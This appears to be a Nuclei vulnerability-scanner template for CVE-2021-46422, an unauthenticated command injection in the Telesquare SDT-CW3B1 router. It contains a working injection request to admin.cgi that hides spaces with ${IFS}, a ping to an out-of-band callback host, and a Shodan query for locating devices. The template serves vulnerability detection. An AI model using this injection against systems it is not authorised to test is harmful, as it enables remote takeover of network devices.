id: CVE-2021-46422

info:
  name: SDT-CW3B1 1.1.0 - OS Command Injection
  author: badboycxcc,prajiteshsingh
  severity: critical
  description: |
    Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker to execute OS commands without any authentication.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to a patched version of SDT-CW3B1 or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50936
    - https://drive.google.com/drive/folders/1YJlVlb4SlTEGONzIjiMwd2P7ucP_Pm7T?
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46422
    - https://drive.google.com/drive/folders/1YJlVlb4SlTEGONzIjiMwd2P7ucP_Pm7T?usp=sharing
    - http://packetstormsecurity.com/files/167201/SDT-CW3B1-1.1.0-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-46422
    cwe-id: CWE-78
    epss-score: 0.94629
    epss-percentile: 0.99848
    cpe: cpe:2.3:h:telesquare:sdt-cs3b1:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: telesquare
    product: sdt-cs3b1
    shodan-query: html:"SDT-CW3B1"
  tags: cve2021,cve,packetstorm,telesquare,rce,router,injection,edb,vkev,vuln
variables:
  cmd: "ping${IFS}-c${IFS}1${IFS}{{interactsh-url}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/admin.cgi?Command=sysCommand&Cmd={{cmd}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<CmdResult>"

      - type: word
        name: http
        part: interactsh_protocol
        words:
          - "dns"
# digest: 4a0a00473045022021d4af00d0b9f4169918db3d6750c42f1b06f730d0058fad261e038ee51a6eed022100f7db6d52196d78dbb9195384a3da4e1682f4aeab1b5b96cedda8ef1e35f42903:922c64590222798bb761d5b6d8e72950